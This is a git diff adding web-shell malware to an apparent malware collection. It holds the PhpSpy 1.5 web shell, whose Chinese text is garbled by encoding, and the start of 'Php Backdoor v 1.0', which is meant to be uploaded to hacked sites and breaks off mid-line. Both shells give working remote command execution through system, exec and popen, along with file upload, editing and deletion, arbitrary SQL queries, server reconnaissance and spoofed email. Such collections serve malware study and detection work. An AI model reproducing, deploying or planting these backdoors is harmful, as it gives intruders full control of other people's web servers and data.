style=\"font-size: 12px; font-family: Verdana\">ע���ɹ�......<p><a href=\"".$_SERVER['PHP_SELF']."\">������Զ��˳��򵥻������˳��������&gt;&gt;&gt;</a></span>"; + exit; + } + if ($_POST['action'] == "login") { + $adminpass=trim($_POST['adminpass']); + if ($adminpass==$admin['pass']) { + $_SESSION['adminpass'] = $admin['pass']; + echo "<meta http-equiv=\"refresh\" content=\"3;URL=".$_SERVER['PHP_SELF']."\">"; + echo "<span style=\"font-size: 12px; font-family: Verdana\">��½�ɹ�......<p><a href=\"".$_SERVER['PHP_SELF']."\">������Զ���ת�򵥻��������������&gt;&gt;&gt;</a></span>"; + exit; + } + } + if (session_is_registered('adminpass')) { + if ($_SESSION['adminpass']!=$admin['pass']) { + loginpage(); + } + } else { + loginpage(); + } + } else { + /*------- cookie ��֤ -------*/ + if ($_GET['action'] == "logout") { + setcookie ("adminpass", ""); + echo "<meta http-equiv=\"refresh\" content=\"3;URL=".$_SERVER['PHP_SELF']."\">"; + echo "<span style=\"font-size: 12px; font-family: Verdana\">ע���ɹ�......<p><a href=\"".$_SERVER['PHP_SELF']."\">������Զ��˳��򵥻������˳��������&gt;&gt;&gt;</a></span>"; + exit; + } + if ($_POST['action'] == "login") { + $adminpass=trim($_POST['adminpass']); + if ($adminpass==$admin['pass']) { + setcookie ("adminpass",$admin['pass'],time()+(1*24*3600)); + echo "<meta http-equiv=\"refresh\" content=\"3;URL=".$_SERVER['PHP_SELF']."\">"; + echo "<span style=\"font-size: 12px; font-family: Verdana\">��½�ɹ�......<p><a href=\"".$_SERVER['PHP_SELF']."\">������Զ���ת�򵥻��������������&gt;&gt;&gt;</a></span>"; + exit; + } + } + if (isset($_COOKIE['adminpass'])) { + if ($_COOKIE['adminpass']!=$admin['pass']) { + loginpage(); + } + } else { + loginpage(); + } + } + +}//end check +/*===================== ��֤���� =====================*/ + +// �ж� magic_quotes_gpc ״̬ +if (get_magic_quotes_gpc()) { + $_GET = stripslashes_array($_GET); + $_POST = stripslashes_array($_POST); +} + +// �����ļ� +if (!empty($downfile)) { + if (!@file_exists($downfile)) { + echo "<script>alert('��Ҫ�µ��ļ�������!')</script>"; + } else { + $filename = basename($downfile); + $filename_info = explode('.', $filename); + $fileext = $filename_info[count($filename_info)-1]; + header('Content-type: application/x-'.$fileext); + header('Content-Disposition: attachment; filename='.$filename); + header('Content-Description: PHP3 Generated Data'); + @readfile($downfile); + exit; + } +} + +// ����Ŀ¼(�ļ�ϵͳ) +$pathname=str_replace('\\','/',dirname(__FILE__)); + +// ��ȡ��ǰ·�� +if (!isset($dir) or empty($dir)) { + $dir = "."; + $nowpath = getPath($pathname, $dir); +} else { + $dir=$_GET['dir']; + $nowpath = getPath($pathname, $dir); +} + +// �ж϶�д��� +if (dir_writeable($nowpath)) { + $dir_writeable = "��д"; +} else { + $dir_writeable = "����д"; +} + +$dis_func = get_cfg_var("disable_functions"); +$phpinfo=(!eregi("phpinfo",$dis_func)) ? " | <a href=\"?action=phpinfo\">PHPINFO</a>" : ""; +$shellmode=(!get_cfg_var("safe_mode")) ? " | <a href=\"?action=shell\">WebShellģʽ</a>" : ""; +?> +<html> +<head> +<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> +<title>PhpSpy Ver 1.5</title> +<style type="text/css"> +.maintable { + background-color: "#FFFFFF"; + border: "1px solid #115173"; +} +body,td { + font-family: "sans-serif"; + font-size: "12px"; + line-height: "150%"; +} +.INPUT { + FONT-SIZE: "12px"; + COLOR: "#000000"; + BACKGROUND-COLOR: "#FFFFFF"; + height: "18px"; + border: "1px solid #666666"; +} +a:link, +a:visited, +a:active{ + color: "#000000"; + text-decoration: underline; +} +a:hover{ + color: "#465584"; + text-decoration: none; +} +.firstalt {BACKGROUND-COLOR: "#EFEFEF"} +.secondalt {BACKGROUND-COLOR: "#F5F5F5"} +</style> +</head> + +<body style="table-layout:fixed; word-break:break-all"> +<center> +<p><strong><a href="?action=logout">ע���Ự</a> | <a href="?action=dir">���ظ�Ŀ¼</a> | <a href="?action=phpenv">PHP��������</a><?=$phpinfo?><?=$shellmode?> | <a href="?action=sql">SQL��ѯ</a> | <a href="http://www.4ngel.net" target="_blank" title="���ش˳���">Version 1.5</a></strong></p> +<?php +if ($_GET['action'] == "phpinfo") { + $dis_func = get_cfg_var("disable_functions"); + echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() �����ѱ�����,��鿴&lt;PHP��������&gt;"; + exit; +} +?> +<table width="760" border="0" cellpadding="0"> + <form action="" method="GET"> + <tr> + <td><p>����·��:<?=$pathname?><br>��ǰĿ¼(<?=$dir_writeable?>,<?=substr(base_convert(@fileperms($nowpath),10,8),-4);?>):<?=$nowpath?> + <br>��תĿ¼: + <input name="dir" type="text" class="INPUT"> + <input type="submit" class="INPUT" value="ȷ��"> ��֧�־���·�������·���� + </p></td> + </tr> + </form> + <form action="?dir=<?=urlencode($dir)?>" method="POST" enctype="multipart/form-data"> + <tr> + <td colspan="2">�ϴ��ļ�����ǰĿ¼: + <input name="uploadmyfile" type="file" class="INPUT"> <input type="submit" class="INPUT" value="ȷ��"> + <input name="action" type="hidden" value="uploadfile"><input type="hidden" name="uploaddir" value="<?=$dir?>"></td> + </tr> + </form> + <form action="?action=editfile&dir=<?=urlencode($dir)?>" method="POST"> + <tr> + <td colspan="2">�½��ļ��ڵ�ǰĿ¼: + <input name="newfile" type="text" class="INPUT" value=""> + <input type="submit" class="INPUT" value="ȷ��"> + <input name="action" type="hidden" value="createfile"></td> + </tr> + </form> + <form action="" method="POST"> + <tr> + <td colspan="2">�½�Ŀ¼�ڵ�ǰĿ¼: + <input name="newdirectory" type="text" class="INPUT" value=""> + <input type="submit" class="INPUT" value="ȷ��"> + <input name="action" type="hidden" value="createdirectory"></td> + </tr> + </form> +</table> +<hr width="760" noshade> +<?php +/*===================== ִ�в��� ��ʼ =====================*/ +echo "<p><b>\n"; +// ɾ���ļ� +if(@$delfile!="") { + if(file_exists($delfile)) { + @unlink($delfile); + echo "".$delfile." ɾ���ɹ�!"; + } else { + echo "�ļ��Ѳ�����,ɾ��ʧ��!"; + } +} + +// ɾ��Ŀ¼ +elseif($_POST['action'] == "rmdir") { + if($deldir!="") { + $deldirs="$dir/$deldir"; + if(!file_exists("$deldirs")) { + echo "Ŀ¼�Ѳ�����!"; + } else { + deltree($deldirs); + } + } else { + echo "ɾ��ʧ��!"; + } +} + +// ����Ŀ¼ +elseif($_POST['action'] == "createdirectory") { + if(!empty($newdirectory)) { + $mkdirs="$dir/$newdirectory"; + if(file_exists("$mkdirs")) { + echo "��Ŀ¼�Ѵ���!"; + } else { + echo $msg=@mkdir("$mkdirs",0777) ? "����Ŀ¼�ɹ�!" : "����ʧ��!"; + @chmod("$mkdirs",0777); + } + } +} + +// �ϴ��ļ� +elseif($_POST['action'] == "uploadfile") { + echo $msg=@copy($_FILES['uploadmyfile']['tmp_name'],"".$uploaddir."/".$_FILES['uploadmyfile']['name']."") ? "�ϴ��ɹ�!" : "�ϴ�ʧ��!"; +} + +// �༭�ļ� +elseif($_POST['action'] == "doeditfile") { + $filename="$dir/$editfilename"; + @$fp=fopen("$filename","w"); + echo $msg=@fwrite($fp,$_POST['filecontent']) ? "д���ļ��ɹ�!" : "д��ʧ��!"; + @fclose($fp); +} + +// �༭�ļ����� +elseif($_POST['action'] == "editfileperm") { + $fileperm=base_convert($_POST['fileperm'],8,10); + echo $msg=@chmod($dir."/".$file,$fileperm) ? "�����޸ijɹ�!" : "�޸�ʧ��!"; + echo " [".$file."] �޸ĺ������Ϊ:".substr(base_convert(@fileperms($dir."/".$file),10,8),-4).""; +} + +// ����MYSQL +elseif($connect) { + if (@mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname)) { + echo "���ݿ����ӳɹ�!"; + } else { + echo mysql_error(); + } +} + +// ִ��SQL��� +elseif($doquery) { + @mysql_connect($servername,$dbusername,$dbpassword) or die("���ݿ�����ʧ��"); + @mysql_select_db($dbname) or die("ѡ�����ݿ�ʧ��"); + $result = @mysql_query($_POST['sql_query']); + if ($result) { + echo "SQL���ɹ�ִ��"; + }else{ + echo "����: ".mysql_error(); + } + mysql_close(); +} + +// �鿴PHP���ò���״�� +elseif($_POST['action'] == "viewphpvar") { + echo "���ò��� ".$_POST['phpvarname']." �����: ".getphpcfg($_POST['phpvarname']).""; +} + +else { + echo "�������� Security Angel ��ȫ��֯ angel[BST] ��������,���� <a href=\"http://www.4ngel.net\" target=\"_blank\">http://www.4ngel.net</a> �������°汾."; +} + +echo "</b></p>\n"; +/*===================== ִ�в��� ���� =====================*/ + +if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) { +?> +<table width="760" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff"> + <tr bgcolor="#cccccc"> + <td align="center" nowrap width="40%"><b>�ļ�</b></td> + <td align="center" nowrap width="20%"><b>�޸�����</b></td> + <td align="center" nowrap width="12%"><b>��С</b></td> + <td align="center" nowrap width="8%"><b>����</b></td> + <td align="center" nowrap width="20%"><b>����</b></td> + </tr> +<?php +// Ŀ¼�б� +$dirs=@opendir($dir); +while ($file=@readdir($dirs)) { + $b="$dir/$file"; + $a=@is_dir($b); + if($a=="1"){ + if($file!=".."&&$file!=".") { + $lastsave=@date("Y-n-d H:i:s",filemtime("$dir/$file")); + $dirperm=substr(base_convert(fileperms("$dir/$file"),10,8),-4); + echo "<tr class=".getrowbg().">\n"; + echo " <td style=\"padding-left: 5px;\">[<a href=\"?dir=".urlencode($dir)."/".urlencode($file)."\"><font color=\"#006699\">$file</font></a>]</td>\n"; + echo " <td align=\"center\" nowrap valign=\"top\">$lastsave</td>\n"; + echo " <td align=\"center\" nowrap valign=\"top\">&lt;dir&gt;</td>\n"; + echo " <td align=\"center\" nowrap valign=\"top\"><a href=\"?action=fileperm&dir=".urlencode($dir)."&file=".urlencode($file)."\">$dirperm</a></td>\n"; + echo " <td align=\"center\" nowrap valign=\"top\"><a href=\"?action=deldir&dir=".urlencode($dir)."&deldir=".urlencode($file)."\">ɾ��</a></td>\n"; + echo "</tr>\n"; + } else { + if($file=="..") { + echo "<tr class=".getrowbg().">\n"; + echo " <td nowrap colspan=\"5\" style=\"padding-left: 5px;\"><a href=\"?dir=".$dir."/".$file."\">�����ϼ�Ŀ¼</a></td>\n"; + echo "</tr>\n"; + } + } + $dir_i++; + } +}//while +@closedir($dirs); + +// �ļ��б� +$dirs=@opendir($dir); +while ($file=@readdir($dirs)) { + $b="$dir/$file"; + $a=@is_dir($b); + if($a=="0"){ + $size=@filesize("$dir/$file"); + $size=$size/1024 ; + $size= @number_format($size, 3); + $lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file")); + @$fileperm=substr(base_convert(fileperms("$dir/$file"),10,8),-4); + echo "<tr class=".getrowbg().">\n"; + echo " <td style=\"padding-left: 5px;\"><a href=\"$dir/$file\" target=\"_blank\">$file</a></td>\n"; + echo " <td align=\"center\" nowrap valign=\"top\">$lastsave</td>\n"; + echo " <td align=\"center\" nowrap valign=\"top\">$size KB</td>\n"; + echo " <td align=\"center\" nowrap valign=\"top\"><a href=\"?action=fileperm&dir=".urlencode($dir)."&file=".urlencode($file)."\">$fileperm</a></td>\n"; + echo " <td align=\"center\" nowrap valign=\"top\"><a href=\"?downfile=".urlencode($dir)."/".urlencode($file)."\">����</a> | <a href=\"?action=editfile&dir=".urlencode($dir)."&editfile=".urlencode($file)."\">�༭</a> | <a href=\"?dir=".urlencode($dir)."&delfile=".urlencode($dir)."/".urlencode($file)."\">ɾ��</a></td>\n"; + echo "</tr>\n"; + $file_i++; + } +} +@closedir($dirs); + +echo "<tr class=".getrowbg().">\n"; +echo " <td nowrap colspan=\"5\" align=\"right\">".$dir_i." ��Ŀ¼<br>".$file_i." ���ļ�</td>\n"; +echo "</tr>\n"; +?> +</table> + +<?php +}// end dir + +elseif ($_GET['action'] == "editfile") { + if($newfile=="") { + $filename="$dir/$editfile"; + $fp=@fopen($filename,"r"); + $contents=@fread($fp, filesize($filename)); + @fclose($fp); + $contents=htmlspecialchars($contents); + }else{ + $editfile=$newfile; + $filename = "$dir/$editfile"; + } +?> +<table width="760" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff"> + <tr class="firstalt"> + <td align="center">�½�/�༭�ļ� [<a href="?dir=<?=urlencode($dir)?>">����</a>]</td> + </tr> + <form action="?dir=<?=urlencode($dir)?>" method="POST"> + <tr class="secondalt"> + <td align="center">��ǰ�ļ�:<input class="input" type="text" name="editfilename" size="30" +value="<?=$editfile?>"> �������ļ����������ļ�</td> + </tr> + <tr class="firstalt"> + <td align="center"><textarea name="filecontent" cols="100" rows="20"><?=$contents?></textarea></td> + </tr> + <tr class="secondalt"> + <td align="center"><input type="submit" value="ȷ��д��" class="input"> + <input name="action" type="hidden" value="doeditfile"> + <input type="reset" value="����" class="input"></td> + </tr> + </form> +</table> +<?php +}//end editfile + +elseif ($_GET['action'] == "shell") { + if (!get_cfg_var("safe_mode")) { +?> +<table width="760" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff"> + <tr class="firstalt"> + <td align="center">WebShell Mode</td> + </tr> + <form action="?action=shell&dir=<?=urlencode($dir)?>" method="POST"> + <tr class="secondalt"> + <td align="center">��ʾ:�������������ȫ,�����������д���ļ�.�������Եõ�ȫ������.</td> + </tr> + <tr class="firstalt"> + <td align="center"> + ѡ��ִ�к���: + <select name="execfunc" class="input"> + <option value="system" <? if ($execfunc=="system") { echo "selected"; } ?>>system</option> + <option value="passthru" <? if ($execfunc=="passthru") { echo "selected"; } ?>>passthru</option> + <option value="exec" <? if ($execfunc=="exec") { echo "selected"; } ?>>exec</option> + <option value="shell_exec" <? if ($execfunc=="shell_exec") { echo "selected"; } ?>>shell_exec</option> + <option value="popen" <? if ($execfunc=="popen") { echo "selected"; } ?>>popen</option> + </select>�� + ��������: + <input type="text" name="command" size="60" value="<?=$_POST['command']?>" class="input"> + <input type="submit" value="execute" class="input"></td> + </tr> + <tr class="secondalt"> + <td align="center"><textarea name="textarea" cols="100" rows="25" readonly><?php + if (!empty($_POST['command'])) { + if ($execfunc=="system") { + system($_POST['command']); + } elseif ($execfunc=="passthru") { + passthru($_POST['command']); + } elseif ($execfunc=="exec") { + $result = exec($_POST['command']); + echo $result; + } elseif ($execfunc=="shell_exec") { + $result=shell_exec($_POST['command']); + echo $result; + } elseif ($execfunc=="popen") { + $pp = popen($_POST['command'], 'r'); + $read = fread($pp, 2096); + echo $read; + pclose($pp); + } else { + system($_POST['command']); + } + } + ?></textarea></td> + </tr> + </form> +</table> +<?php + } else { +?> +<p><b>Safe_Mode �Ѵ�, �޷�ִ��ϵͳ����.</b></p> +<?php + } +}//end shell + +elseif ($_GET['action'] == "deldir") { +?> +<table width="760" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff"> + <form action="?dir=<?=urlencode($dir)?>" method="POST"> + <tr class="firstalt"> + <td align="center">ɾ�� <input name="deldir" type="text" value="<?=$deldir?>" class="input" readonly> Ŀ¼</td> + </tr> + <tr class="secondalt"> + <td align="center">ע��:�����Ŀ¼�ǿ�,�˴β�������ɾ����Ŀ¼�µ������ļ�.��ȷ����?</td> + </tr> + <tr class="firstalt"> + <td align="center"> + <input name="action" type="hidden" value="rmdir"> + <input type="submit" value="delete" class="input"> + </td> + </tr> + </form> +</table> +<?php +}//end deldir + +elseif ($_GET['action'] == "fileperm") { +?> +<table width="760" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff"> + <tr class="firstalt"> + <td align="center">�޸��ļ����� [<a href="?dir=<?=urlencode($dir)?>">����</a>]</td> + </tr> + <form action="?dir=<?=urlencode($dir)?>" method="POST"> + <tr class="secondalt"> + <td align="center"><input name="file" type="text" value="<?=$file?>" class="input" readonly> ������Ϊ: + <input type="text" name="fileperm" size="20" value="<?=substr(base_convert(fileperms($dir."/".$file),10,8),-4)?>" class="input"> + <input name="dir" type="hidden" value="<?=urlencode($dir)?>"> + <input name="action" type="hidden" value="editfileperm"> + <input type="submit" value="modify" class="input"></td> + </tr> + </form> +</table> +<?php +}//end fileperm + +elseif ($_GET['action'] == "sql") { + $servername = isset($servername) ? $servername : '127.0.0.1'; + $dbusername = isset($dbusername) ? $dbusername : 'root'; + $dbpassword = isset($dbpassword) ? $dbpassword : ''; + $dbname = isset($dbname) ? $dbname : ''; +?> +<table width="760" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff"> + <tr class="firstalt"> + <td align="center">ִ�� SQL ���</td> + </tr> + <form action="?action=sql" method="POST"> + <tr class="secondalt"> + <td align="center">Host: + <input name="servername" type="text" class="INPUT" value="<?=$servername?>"> + User: + <input name="dbusername" type="text" class="INPUT" size="15" value="<?=$dbusername?>"> + Pass: + <input name="dbpassword" type="text" class="INPUT" size="15" value="<?=$dbpassword?>"> + DB: + <input name="dbname" type="text" class="INPUT" size="15" value="<?=$dbname?>"> + <input name="connect" type="submit" class="INPUT" value="����"></td> + </tr> + <tr class="firstalt"> + <td align="center"><textarea name="sql_query" cols="85" rows="10"></textarea></td> + </tr> + <tr class="secondalt"> + <td align="center"><input type="submit" name="doquery" value="ִ��" class="input"></td> + </tr> + </form> +</table> +<?php +}//end sql query + +elseif ($_GET['action'] == "phpenv") { + $upsize=get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "�������ϴ�"; + + $adminmail=(isset($_SERVER["SERVER_ADMIN"])) ? "<a href=\"mailto:".$_SERVER["SERVER_ADMIN"]."\">".$_SERVER["SERVER_ADMIN"]."</a>" : "<a href=\"mailto:".get_cfg_var("sendmail_from")."\">".get_cfg_var("sendmail_from")."</a>"; + + $dis_func = get_cfg_var("disable_functions"); + if ($dis_func == "") { + $dis_func = "No"; + }else { + $dis_func = str_replace(" ","<br>",$dis_func); + $dis_func = str_replace(",","<br>",$dis_func); + } + + $phpinfo=(!eregi("phpinfo",$dis_func)) ? "Yes" : "No"; + + $info[0] = array("������ʱ��",date("Y��m��d�� h:i:s",time())); + $info[1] = array("����������","<a href=\"http://$_SERVER[SERVER_NAME]\" target=\"_blank\">$_SERVER[SERVER_NAME]</a>"); + $info[2] = array("������IP��ַ",gethostbyname($_SERVER["SERVER_NAME"])); + $info[3] = array("����������ϵͳ",PHP_OS); + $info[5] = array("����������ϵͳ���ֱ���",$_SERVER["HTTP_ACCEPT_LANGUAGE"]); + $info[6] = array("��������������",$_SERVER["SERVER_SOFTWARE"]); + $info[7] = array("Web����˿�",$_SERVER["SERVER_PORT"]); + $info[8] = array("PHP���з�ʽ",strtoupper(php_sapi_name())); + $info[9] = array("PHP�汾",PHP_VERSION); + $info[10] = array("�����ڰ�ȫģʽ",getphpcfg("safemode")); + $info[11] = array("����������Ա",$adminmail); + $info[12] = array("���ļ�·��",__FILE__); + + $info[13] = array("����ʹ�� URL ���ļ� allow_url_fopen",getphpcfg("allow_url_fopen")); + $info[14] = array("������̬�������ӿ� enable_dl",getphpcfg("enable_dl")); + $info[15] = array("��ʾ������Ϣ display_errors",getphpcfg("display_errors")); + $info[16] = array("�Զ�����ȫ�ֱ��� register_globals",getphpcfg("register_globals")); + $info[17] = array("magic_quotes_gpc",getphpcfg("magic_quotes_gpc")); + $info[18] = array("�����������ʹ���ڴ��� memory_limit",getphpcfg("memory_limit")); + $info[19] = array("POST����ֽ��� post_max_size",getphpcfg("post_max_size")); + $info[20] = array("��������ϴ��ļ� upload_max_filesize",$upsize); + $info[21] = array("���������ʱ�� max_execution_time",getphpcfg("max_execution_time")."��"); + $info[22] = array("�����õĺ��� disable_functions",$dis_func); + $info[23] = array("phpinfo()",$phpinfo); + $info[24] = array("Ŀǰ���п���ռ�diskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb'); + + $info[25] = array("ͼ�δ��� GD Library",getfun("imageline")); + $info[26] = array("IMAP�����ʼ�ϵͳ",getfun("imap_close")); + $info[27] = array("MySQL���ݿ�",getfun("mysql_close")); + $info[28] = array("SyBase���ݿ�",getfun("sybase_close")); + $info[29] = array("Oracle���ݿ�",getfun("ora_close")); + $info[30] = array("Oracle 8 ���ݿ�",getfun("OCILogOff")); + $info[31] = array("PREL�����﷨ PCRE",getfun("preg_match")); + $info[32] = array("PDF�ĵ�֧��",getfun("pdf_close")); + $info[33] = array("Postgre SQL���ݿ�",getfun("pg_close")); + $info[34] = array("SNMP�������Э��",getfun("snmpget")); + $info[35] = array("ѹ���ļ�֧��(Zlib)",getfun("gzclose")); + $info[36] = array("XML����",getfun("xml_set_object")); + $info[37] = array("FTP",getfun("ftp_login")); + $info[38] = array("ODBC���ݿ�����",getfun("odbc_close")); + $info[39] = array("Session֧��",getfun("session_start")); + $info[40] = array("Socket֧��",getfun("fsockopen")); +?> +<table width="760" border="0" align="center" cellpadding="3" cellspacing="1" bgcolor="#ffffff"> + <form action="?action=phpenv" method="POST"> + <tr class="firstalt"> + <td style="padding-left: 5px;"><b>�鿴PHP���ò���״��</b></td> + </tr> + <tr class="secondalt"> + <td style="padding-left: 5px;">���������ò���(��:magic_quotes_gpc):<input name="phpvarname" type="text" class="input" size="40"> <input type="submit" value="�鿴" class="input"><input name="action" type="hidden" value="viewphpvar"></td> + </tr> + </form> +<?php + for($a=0;$a<3;$a++){ + if($a == 0){ + $hp = array("server","����������"); + }elseif($a == 1){ + $hp = array("php","PHP��������"); + }elseif($a == 2){ + $hp = array("basic","���֧��״��"); + } +?> + <tr class="firstalt"> + <td style="padding-left: 5px;"><b><?=$hp[1]?></b></td> + </tr> + <tr class="secondalt"> + <td> + <table width="100%" border="0" cellpadding="0" cellspacing="0"> +<? + if($a == 0){ + for($i=0;$i<=12;$i++){ + echo "<tr><td width=40% style=\"padding-left: 5px;\">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n"; + } + }elseif($a == 1){ + for($i=13;$i<=24;$i++){ + echo "<tr><td width=40% style=\"padding-left: 5px;\">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n"; + } + }elseif($a == 2){ + for($i=25;$i<=40;$i++){ + echo "<tr><td width=40% style=\"padding-left: 5px;\">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n"; + } + } +?> + </table> + </td> + </tr> +<? + }//for +echo "</table>"; +}//end phpenv +?> +<hr width="760" noshade> +<table width="760" border="0" cellpadding="0"> + <tr> + <td>Copyright (C) 2004 Security Angel Team [S4T] All Rights Reserved.</td> + <td align="right"><?php + debuginfo(); + ob_end_flush(); + ?></td> + </tr> +</table> +</center> +</body> +</html> + +<?php + +/*====================================================== +������ +======================================================*/ + + // ��½��� + function loginpage() { +?> + <style type="text/css"> + input { + font-family: "Verdana"; + font-size: "11px"; + BACKGROUND-COLOR: "#FFFFFF"; + height: "18px"; + border: "1px solid #666666"; + } + </style> + <form method="POST" action=""> + <span style="font-size: 11px; font-family: Verdana">Password: </span><input name="adminpass" type="password" size="20"><input type="hidden" name="action" value="login"> + <input type="submit" value="OK"> + </form> +<?php + exit; + }//end loginpage() + + // ҳ�������Ϣ + function debuginfo() { + global $starttime; + $mtime = explode(' ', microtime()); + $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6); + echo "Processed in $totaltime second(s)"; + } + + // ȥ��ת���ַ� + function stripslashes_array(&$array) { + while(list($key,$var) = each($array)) { + if ($key != 'argc' && $key != 'argv' && (strtoupper($key) != $key || ''.intval($key) == "$key")) { + if (is_string($var)) { + $array[$key] = stripslashes($var); + } + if (is_array($var)) { + $array[$key] = stripslashes_array($var); + } + } + } + return $array; + } + + // ɾ��Ŀ¼ + function deltree($deldir) { + $mydir=@dir($deldir); + while($file=$mydir->read()) { + if((is_dir("$deldir/$file")) AND ($file!=".") AND ($file!="..")) { + @chmod("$deldir/$file",0777); + deltree("$deldir/$file"); + } + if (is_file("$deldir/$file")) { + @chmod("$deldir/$file",0777); + @unlink("$deldir/$file"); + } + } + $mydir->close(); + @chmod("$deldir",0777); + echo @rmdir($deldir) ? "<b>Ŀ¼ɾ���ɹ�!</b>" : "<font color=\"#ff0000\">Ŀ¼ɾ��ʧ��!</font>"; + } + + // �ж϶�д��� + function dir_writeable($dir) { + if (!is_dir($dir)) { + @mkdir($dir, 0777); + } + if(is_dir($dir)) { + if ($fp = @fopen("$dir/test.txt", 'w')) { + @fclose($fp); + @unlink("$dir/test.txt"); + $writeable = 1; + } else { + $writeable = 0; + } + } + return $writeable; + } + + // �����м�ı���ɫ�滻 + function getrowbg() { + global $bgcounter; + if ($bgcounter++%2==0) { + return "firstalt"; + } else { + return "secondalt"; + } + } + + // ��ȡ��ǰ���ļ�ϵͳ·�� + function getPath($mainpath, $relativepath) { + global $dir; + $mainpath_info = explode('/', $mainpath); + $relativepath_info = explode('/', $relativepath); + $relativepath_info_count = count($relativepath_info); + for ($i=0; $i<$relativepath_info_count; $i++) { + if ($relativepath_info[$i] == '.' || $relativepath_info[$i] == '') continue; + if ($relativepath_info[$i] == '..') { + $mainpath_info_count = count($mainpath_info); + unset($mainpath_info[$mainpath_info_count-1]); + continue; + } + $mainpath_info[count($mainpath_info)] = $relativepath_info[$i]; + } //end for + return implode('/', $mainpath_info); + } + + // ���PHP���ò��� + function getphpcfg($varname) { + switch($result = get_cfg_var($varname)) { + case 0: + return No; + break; + case 1: + return Yes; + break; + default: + return $result; + break; + } + } + + // ��麯����� + function getfun($funName) { + return (false !== function_exists($funName)) ? Yes : No; + } +?> diff --git a/web-malware-collection-master/Backdoors/PHP/Php_Backdoor.txt b/web-malware-collection-master/Backdoors/PHP/Php_Backdoor.txt new file mode 100755 index 0000000..93e73d3 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/Php_Backdoor.txt @@ -0,0 +1,206 @@ +<? + +// ################################ +// Php Backdoor v 1.0 by ^Jerem +// ################################ +// ################################ +// This backdoor coded in php allows +// allows to control a web serv ... +// For use this script upload this +// on the ftp server of the hacked +// web site. Enjoy ^^ +// ################################ +// ################################ +// Author: ^Jerem +// Mail: jerem@x-perience.org +// Web: http://www.x-perience.org +// ################################ + + +echo '<html>'; +echo '<head><title>Php Backdoor v 1.0 by ^Jerem</title></head>'; +echo '<link rel="stylesheet" href="http://membres.lycos.fr/webchat/style.css" type="text/css">'; +echo '<body bgcolor=black>'; +echo '<font face="courier" size="2" color="#FFFFFF">'; + +echo '<h1>Php Backdoor v 1.0 by ^Jerem</h1><br><br>'; +echo '<center><img src="http://img418.imageshack.us/img418/3218/jerem9sn.png" alt="Owned by ^Jerem"></center>'; +echo '<br><br>'; +echo 'Backdoor option list:<br><br>'; +echo '� <a href="?action=index">Backdoor index</a><br><br>'; +echo '� <a href="?action=shell">Execute a shell code</a><br>'; +echo '� <a href="?action=php">Execute a php code</a><br>'; +echo '� <a href="?action=files">Files Management</a><br>'; +echo '� <a href="?action=up">Upload a file</a><br>'; +echo '� <a href="?action=listing">Files listing</a><br>'; +echo '� <a href="?action=mail">Send a Email</a><br>'; +echo '� <a href="?action=infos">Infos serv</a>'; + + + +if ($action == "shell") { +echo '<br><br>#########################<br><br>'; +echo 'Enter shell code to execute: '; +echo '<form method="POST" action="?action=shellgo">'; +//echo '<input type="text" name="cmd" size="50" value="ls -a"> '; +echo '<textarea name="cmd" cols="50" rows="10"></textarea><br>'; +echo '<input type="submit" value="Execute"></form>'; +} elseif ($action == "shellgo") { +echo '<br><br>#########################<br><br>'; +$cmd = stripslashes($cmd); +echo 'The shell code <b>'.$cmd.'</b> as been executed on server.<br>'; +echo 'The server with answered this your request:<br><br>'; +system($cmd); +} else if ($action == "mail") { +echo '<br><br>#########################<br><br>'; +echo '<form method="POST" action="?action=mailgo">'; +echo 'Enter the expeditor Email: '; +echo '<input type="text" name="exp" size="30" value="you@ownz.com"><br>'; +echo 'Enter the receptor Email: '; +echo '<input type="text" name="recpt" size="30" value="fucker@small-dick.com"><br>'; +echo 'Enter the topic of your Email: '; +echo '<input type="text" name="topic" size="30" value="Have a nice day looser :D"><br><br>'; +echo 'Enter the Email content:<br>'; +echo '<textarea name="content" cols="50" rows="10"></textarea><br><br>'; +echo '<input type="submit" value="Send Email"></form>'; +} else if ($action == "mailgo") { +echo '<br><br>#########################<br><br>'; +echo 'Your Email have been sended to <b>'.$recpt.'</b>.<br>'; +$hd = 'From:'.$exp.' \r\nReply-To:'.$exp.''; +mail($recpt,$topic,$content,$hd); +} else if ($action == "up") { +echo '<br><br>#########################<br><br>'; +echo '<form method="POST" enctype="multipart/form-data" action="?action=upgo">'; +echo 'Select a file to upload: '; +echo '<input type="file" name="file" size="30"><br> '; +echo 'Enter the name of file in the server: '; +echo '<input type="text" name="fts" size="30" value="your-file.txt"> '; +echo '<input type="submit" value="Upload this file"></form>'; +} else if ($action == "upgo") { +echo '<br><br>#########################<br><br>'; +copy($file, $fts); +echo 'Your file was succelify uploaded on server.'; +} else if ($action == "listing") { +echo '<br><br>#########################<br><br>'; +echo 'Files listing of <b>/</b><br><br>'; +} else if ($action == "infos") { +echo '<br><br>#########################<br><br>'; +echo 'Server informations<br><br>'; +echo 'Backdoor file:<b> '.$SCRIPT_NAME.'</b><br>'; +echo 'Backdoor URL:<b> '.$SCRIPT_FILENAME.'</b><br>'; +echo 'OS & PhpVersion:<b> '.$SERVER_SOFTWARE.'</b><br>'; +echo 'Admin Email:<b> '.$SERVER_ADMIN.'</b><br>'; +echo 'Server name:<b> '.$SERVER_NAME.'</b><br>'; +echo 'Server cookie:<b> <script>document.write(document.cookie)</script></b><br>'; +echo 'Server ip:<b> '.$SERVER_ADDR.'</b> (Running on port<b> '.$SERVER_PORT.'</b>)<br>'; +echo 'CGI Version:<b> '.$GATEWAY_INTERFACE.'</b><br>'; +echo 'Request Method:<b> 